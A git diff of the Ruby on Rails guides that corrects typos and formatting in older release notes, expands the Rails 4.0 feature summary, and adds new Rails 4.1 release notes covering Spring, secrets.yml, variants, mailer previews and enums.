diff options
Diffstat (limited to 'guides/source')
52 files changed, 6520 insertions, 2835 deletions
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md index 7db4cf07e7..522f628a7e 100644 --- a/guides/source/2_2_release_notes.md +++ b/guides/source/2_2_release_notes.md @@ -327,7 +327,7 @@ Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block. ```ruby -%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'} +%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'} ``` Lead Contributor: [Adam Keys](http://therealadam.com/) @@ -366,7 +366,7 @@ Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-da * `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`. * `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on. * The included TzInfo library has been upgraded to version 0.3.12. -* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true` +* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true` Railties -------- diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md index 0f05cc6b85..8c633fa169 100644 --- a/guides/source/2_3_release_notes.md +++ b/guides/source/2_3_release_notes.md @@ -237,7 +237,7 @@ If you're one of the people who has always been bothered by the special-case nam ### HTTP Digest Authentication Support -Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials): +Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user's password (which is then hashed and compared against the transmitted credentials): ```ruby class PostsController < ApplicationController @@ -451,11 +451,11 @@ select(:post, :category, Post::CATEGORIES, :disabled => 'private') returns ```html -<select name=“post[category]“> +<select name="post[category]"> <option>story</option> <option>joke</option> <option>poem</option> -<option disabled=“disabled“>private</option> +<option disabled="disabled">private</option> </select> ``` @@ -604,9 +604,9 @@ Deprecated A few pieces of older code are deprecated in this release: * If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](http://github.com/rails/irs_process_scripts/tree) plugin. -* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master.) +* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master). * Support for Rails components has been removed. -* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back. +* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back. * `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now. * The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect. * Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client. diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md index d398cd680c..2d4be0cda7 100644 --- a/guides/source/3_0_release_notes.md +++ b/guides/source/3_0_release_notes.md @@ -73,8 +73,6 @@ You can see an example of how that works at [Rails Upgrade is now an Official Pl Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge! -More information - [The Path to Rails 3: Approaching the upgrade](http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade) - Creating a Rails 3.0 application -------------------------------- @@ -296,7 +294,7 @@ NOTE. The old style `map` commands still work as before with a backwards compati Deprecations * The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out. -* Routes :path\_prefix no longer exists and :name\_prefix now automatically adds "\_" at the end of the given value. +* Routes `:path_prefix` no longer exists and `:name_prefix` now automatically adds "_" at the end of the given value. More Information: * [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/) @@ -576,7 +574,7 @@ The following methods have been removed because they are no longer used in the f Action Mailer ------------- -Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. +Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. * All mailers are now in `app/mailers` by default. * Can now send email using new API with three methods: `attachments`, `headers` and `mail`. diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md index 5c99892e39..485f8c756b 100644 --- a/guides/source/3_1_release_notes.md +++ b/guides/source/3_1_release_notes.md @@ -286,7 +286,7 @@ Action Pack end ``` - You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/classes/ActionController/Streaming.html) for more information. + You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information. * The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused. diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md index e036860de2..cdcde67869 100644 --- a/guides/source/3_2_release_notes.md +++ b/guides/source/3_2_release_notes.md @@ -21,7 +21,7 @@ If you're upgrading an existing application, it's a great idea to have good test Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2. -TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing. +TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing. ### What to update in your apps @@ -137,7 +137,7 @@ Railties * Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications. -* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time 'rails new' runs in the `.railsrc` configuration file in your home directory. +* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time `rails new` runs in the `.railsrc` configuration file in your home directory. * Add an alias `d` for `destroy`. This works for engines too. @@ -185,9 +185,9 @@ Action Pack end ``` - Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions. + Rails will use `layouts/single_car` when a request comes in `:show` action, and use `layouts/application` (or `layouts/cars`, if exists) when a request comes in for any other actions. -* form\_for is changed to use "#{action}\_#{as}" as the css class and id if `:as` option is provided. Earlier versions used "#{as}\_#{action}". +* `form_for` is changed to use `#{action}_#{as}` as the css class and id if `:as` option is provided. Earlier versions used `#{as}_#{action}`. * `ActionController::ParamsWrapper` on Active Record models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`. @@ -219,7 +219,7 @@ Action Pack * MIME type entries for PDF, ZIP and other formats were added. -* Allow fresh_when/stale? to take a record instead of an options hash. +* Allow `fresh_when/stale?` to take a record instead of an options hash. * Changed log level of warning for missing CSRF token from `:debug` to `:warn`. @@ -227,7 +227,7 @@ Action Pack #### Deprecations -* Deprecated implied layout lookup in controllers whose parent had a explicit layout set: +* Deprecated implied layout lookup in controllers whose parent had an explicit layout set: ```ruby class ApplicationController @@ -238,13 +238,13 @@ Action Pack end ``` - In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`. + In the example above, `PostsController` will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`. -* Deprecated `ActionController::UnknownAction` in favour of `AbstractController::ActionNotFound`. +* Deprecated `ActionController::UnknownAction` in favor of `AbstractController::ActionNotFound`. -* Deprecated `ActionController::DoubleRenderError` in favour of `AbstractController::DoubleRenderError`. +* Deprecated `ActionController::DoubleRenderError` in favor of `AbstractController::DoubleRenderError`. -* Deprecated `method_missing` in favour of `action_missing` for missing actions. +* Deprecated `method_missing` in favor of `action_missing` for missing actions. * Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`. @@ -254,7 +254,7 @@ Action Pack * Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog. -* The `ShowExceptions` middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code. +* The `ShowExceptions` middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code. * Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`. @@ -375,7 +375,7 @@ Active Record * Support index sort order in SQLite, MySQL and PostgreSQL adapters. -* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string. +* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like `:foreign_key` already allow a symbol or a string. ```ruby has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md index 66e26c63cb..19c690233c 100644 --- a/guides/source/4_0_release_notes.md +++ b/guides/source/4_0_release_notes.md @@ -15,7 +15,7 @@ These release notes cover only the major changes. To know about various bug fixe Upgrading to Rails 4.0 ---------------------- -If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading to Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide. +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide. Creating a Rails 4.0 application @@ -50,10 +50,47 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev Major Features -------------- -TODO. Give a list and then talk about each of them briefly. We can point to relevant code commits or documentation from these sections. - [](http://guides.rubyonrails.org/images/rails4_features.png) +### Upgrade + + * **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required + * **[New deprecation policy](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1. + * **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching. + * **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code. + * **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store. + * **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters. + * **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used. + * **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a Gemfile to manage installed gems. + +### ActionPack + + * **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow whitelisted parameters to update model objects (`params.permit(:title, :text)`). + * **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`). + * **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`. + * **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation + * **[Russian doll caching](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object. + * **Turbolinks** ([commit](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body. + * **Decouple ActionView from ActionController** ([commit](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1. + * **Do not depend on ActiveModel** ([commit](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack no longer depends on ActiveModel. + +### General + + * **ActiveModel::Model** ([commit](https://github.com/rails/rails/commit/3b822e91d1a6c4eab0064989bbd07aae3a6d0d08)) - `ActiveModel::Model`, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for `form_for`) + * **New scope API** ([commit](https://github.com/rails/rails/commit/50cbc03d18c5984347965a94027879623fc44cce)) - Scopes must always use callables. + * **Schema cache dump** ([commit](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file. + * **Support for specifying transaction isolation level** ([commit](https://github.com/rails/rails/commit/392eeecc11a291e406db927a18b75f41b2658253)) - Choose whether repeatable reads or improved performance (less locking) is more important. + * **Dalli** ([commit](https://github.com/rails/rails/commit/82663306f428a5bbc90c511458432afb26d2f238)) - Use Dalli memcache client for the memcache store. + * **Notifications start & finish** ([commit](https://github.com/rails/rails/commit/f08f8750a512f741acb004d0cebe210c5f949f28)) - Active Support instrumentation reports start and finish notifications to subscribers. + * **Thread safe by default** ([commit](https://github.com/rails/rails/commit/5d416b907864d99af55ebaa400fff217e17570cd)) - Rails can run in threaded app servers without additional configuration. Note: Check that the gems you are using are threadsafe. + * **PATCH verb** ([commit](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources. + +### Security + + * **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified. + * **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called. + * **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe). + Extraction of features to gems --------------------------- @@ -79,7 +116,7 @@ Documentation Railties -------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railties/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for detailed changes. ### Notable changes @@ -102,7 +139,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railt Action Mailer ------------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionmailer/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for detailed changes. ### Notable changes @@ -111,7 +148,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actio Active Model ------------ -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activemodel/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for detailed changes. ### Notable changes @@ -124,36 +161,49 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activ Active Support -------------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activesupport/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for detailed changes. ### Notable changes -* Replace deprecated `memcache-client` gem with `dalli` in ActiveSupport::Cache::MemCacheStore. +* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`. -* Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead. +* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead. * Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument. * `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`. +* `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass` + when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as: + + ``` + # ActiveSupport 3.x + "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass + "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass + + # ActiveSupport 4 + "asdf".to_date # => ArgumentError: invalid date + "333".to_date # => Fri, 29 Nov 2013 + ``` + ### Deprecations * Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead. -* ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1. +* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1. * `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals. -* Deprecates the compatibility method Module#local_constant_names, use Module#local_constants instead (which returns symbols). +* Deprecates the compatibility method `Module#local_constant_names`, use `Module#local_constants` instead (which returns symbols). -* BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger from Ruby standard library. +* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger from Ruby standard library. * Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?` Action Pack ----------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionpack/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for detailed changes. ### Notable changes @@ -165,7 +215,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actio Active Record ------------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activerecord/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for detailed changes. ### Notable changes @@ -216,9 +266,9 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activ * `find_all_by_...` can be rewritten using `where(...)`. * `find_last_by_...` can be rewritten using `where(...).last`. * `scoped_by_...` can be rewritten using `where(...)`. - * `find_or_initialize_by_...` can be rewritten using `where(...).first_or_initialize`. - * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)` or `where(...).first_or_create`. - * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)` or `where(...).first_or_create!`. + * `find_or_initialize_by_...` can be rewritten using `find_or_initialize_by(...)`. + * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)`. + * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`. Credits ------- diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md new file mode 100644 index 0000000000..822943d81e --- /dev/null +++ b/guides/source/4_1_release_notes.md @@ -0,0 +1,730 @@ +Ruby on Rails 4.1 Release Notes +=============================== + +Highlights in Rails 4.1: + +* Spring application preloader +* `config/secrets.yml` +* Action Pack variants +* Action Mailer previews + +These release notes cover only the major changes. To know about various bug +fixes and changes, please refer to the change logs or check out the +[list of commits](https://github.com/rails/rails/commits/master) in the main +Rails repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 4.1 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.0 in case you +haven't and make sure your application still runs as expected before attempting +an update to Rails 4.1. A list of things to watch out for when upgrading is +available in the +[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1) +guide. + + +Major Features +-------------- + +### Spring Application Preloader + +Spring is a Rails application preloader. It speeds up development by keeping +your application running in the background so you don't need to boot it every +time you run a test, rake task or migration. + +New Rails 4.1 applications will ship with "springified" binstubs. This means +that `bin/rails` and `bin/rake` will automatically take advantage of preloaded +spring environments. + +**Running rake tasks:** + +``` +bin/rake test:models +``` + +**Running a Rails command:** + +``` +bin/rails console +``` + +**Spring introspection:** + +``` +$ bin/spring status +Spring is running: + + 1182 spring server | my_app | started 29 mins ago + 3656 spring app | my_app | started 23 secs ago | test mode + 3746 spring app | my_app | started 10 secs ago | development mode +``` + +Have a look at the +[Spring README](https://github.com/rails/spring/blob/master/README.md) to +see all available features. + +See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring) +guide on how to migrate existing applications to use this feature. + +### `config/secrets.yml` + +Rails 4.1 generates a new `secrets.yml` file in the `config` folder. By default, +this file contains the application's `secret_key_base`, but it could also be +used to store other secrets such as access keys for external APIs. + +The secrets added to this file are accessible via `Rails.application.secrets`. +For example, with the following `config/secrets.yml`: + +```yaml +development: + secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 + some_api_key: SOMEKEY +``` + +`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development +environment. + +See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#config-secrets-yml) +guide on how to migrate existing applications to use this feature. + +### Action Pack Variants + +We often want to render different HTML/JSON/XML templates for phones, +tablets, and desktop browsers. Variants make it easy. + +The request variant is a specialization of the request format, like `:tablet`, +`:phone`, or `:desktop`. + +You can set the variant in a `before_action`: + +```ruby +request.variant = :tablet if request.user_agent =~ /iPad/ +``` + +Respond to variants in the action just like you respond to formats: + +```ruby +respond_to do |format| + format.html do |html| + html.tablet # renders app/views/projects/show.html+tablet.erb + html.phone { extra_setup; render ... } + end +end +``` + +Provide separate templates for each format and variant: + +``` +app/views/projects/show.html.erb +app/views/projects/show.html+tablet.erb +app/views/projects/show.html+phone.erb +``` + +You can also simplify the variants definition using the inline syntax: + +```ruby +respond_to do |format| + format.js { render "trash" } + format.html.phone { redirect_to progress_path } + format.html.none { render "trash" } +end +``` + +### Action Mailer Previews + +Action Mailer previews provide a way to visually see how emails look by visiting +a special URL that renders them. + +You implement a preview class whose methods return the mail object you'd like +to check: + +```ruby +class NotifierPreview < ActionMailer::Preview + def welcome + Notifier.welcome(User.first) + end +end +``` + +The preview is available in http://localhost:3000/rails/mailers/notifier/welcome, +and a list of them in http://localhost:3000/rails/mailers. + +By default, these preview classes live in `test/mailers/previews`. +This can be configured using the `preview_path` option. + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html) +for a detailed write up. + +### Active Record enums + +Declare an enum attribute where the values map to integers in the database, but +can be queried by name. + +```ruby +class Conversation < ActiveRecord::Base + enum status: [ :active, :archived ] +end + +conversation.archived! +conversation.active? # => false +conversation.status # => "archived" + +Conversation.archived # => Relation for all archived Conversations + +Conversation.statuses # => { "active" => 0, "archived" => 1 } +``` + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html) +for a detailed write up. + +### Message Verifiers + +Message verifiers can be used to generate and verify signed messages. This can +be useful to safely transport sensitive data like remember-me tokens and +friends. + +The method `Rails.application.message_verifier` returns a new message verifier +that signs messages with a key derived from secret_key_base and the given +message verifier name: + +```ruby +signed_token = Rails.application.message_verifier(:remember_me).generate(token) +Rails.application.message_verifier(:remember_me).verify(signed_token) # => token + +Rails.application.message_verifier(:remember_me).verify(tampered_token) +# raises ActiveSupport::MessageVerifier::InvalidSignature +``` + +### Module#concerning + +A natural, low-ceremony way to separate responsibilities within a class: + +```ruby +class Todo < ActiveRecord::Base + concerning :EventTracking do + included do + has_many :events + end + + def latest_event + ... + end + + private + def some_internal_method + ... + end + end +end +``` + +This example is equivalent to defining a `EventTracking` module inline, +extending it with `ActiveSupport::Concern`, then mixing it in to the +`Todo` class. + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html) +for a detailed write up and the intended use cases. + +### CSRF protection from remote `<script>` tags + +Cross-site request forgery (CSRF) protection now covers GET requests with +JavaScript responses, too. That prevents a third-party site from referencing +your JavaScript URL and attempting to run it to extract sensitive data. + +This means any of your tests that hit `.js` URLs will now fail CSRF protection +unless they use `xhr`. Upgrade your tests to be explicit about expecting +XmlHttpRequests. Instead of `post :create, format: :js`, switch to the explicit +`xhr :post, :create, format: :js`. + + +Railties +-------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed `update:application_controller` rake task. + +* Removed deprecated `Rails.application.railties.engines`. + +* Removed deprecated `threadsafe!` from Rails Config. + +* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in + favor of `ActiveRecord::Generators::ActiveModel#update`. + +* Removed deprecated `config.whiny_nils` option. + +* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and + `rake test:recent`. + +### Notable changes + +* The [Spring application + preloader](https://github.com/rails/spring) is now installed + by default for new applications. It uses the development group of + the Gemfile, so will not be installed in + production. ([Pull Request](https://github.com/rails/rails/pull/12958)) + +* `BACKTRACE` environment variable to show unfiltered backtraces for test + failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553)) + +* Exposed `MiddlewareStack#unshift` to environment + configuration. ([Pull Request](https://github.com/rails/rails/pull/12479)) + +* Added `Application#message_verifier` method to return a message + verifier. ([Pull Request](https://github.com/rails/rails/pull/12995)) + +* The `test_help.rb` file which is required by the default generated test + helper will automatically keep your test database up-to-date with + `db/schema.rb` (or `db/structure.sql`). It raises an error if + reloading the schema does not resolve all pending migrations. Opt out + with `config.active_record.maintain_test_schema = false`. ([Pull + Request](https://github.com/rails/rails/pull/13528)) + +* Introduce `Rails.gem_version` as a convenience method to return + `Gem::Version.new(Rails.version)`, suggesting a more reliable way to perform + version comparison. ([Pull Request](https://github.com/rails/rails/pull/14103)) + + +Action Pack +----------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed deprecated Rails application fallback for integration testing, set + `ActionDispatch.test_app` instead. + +* Removed deprecated `page_cache_extension` config. + +* Removed deprecated `ActionController::RecordIdentifier`, use + `ActionView::RecordIdentifier` instead. + +* Removed deprecated constants from Action Controller: + + | Removed | Successor | + |:-----------------------------------|:--------------------------------| + | ActionController::AbstractRequest | ActionDispatch::Request | + | ActionController::Request | ActionDispatch::Request | + | ActionController::AbstractResponse | ActionDispatch::Response | + | ActionController::Response | ActionDispatch::Response | + | ActionController::Routing | ActionDispatch::Routing | + | ActionController::Integration | ActionDispatch::Integration | + | ActionController::IntegrationTest | ActionDispatch::IntegrationTest | + +### Notable changes + +* 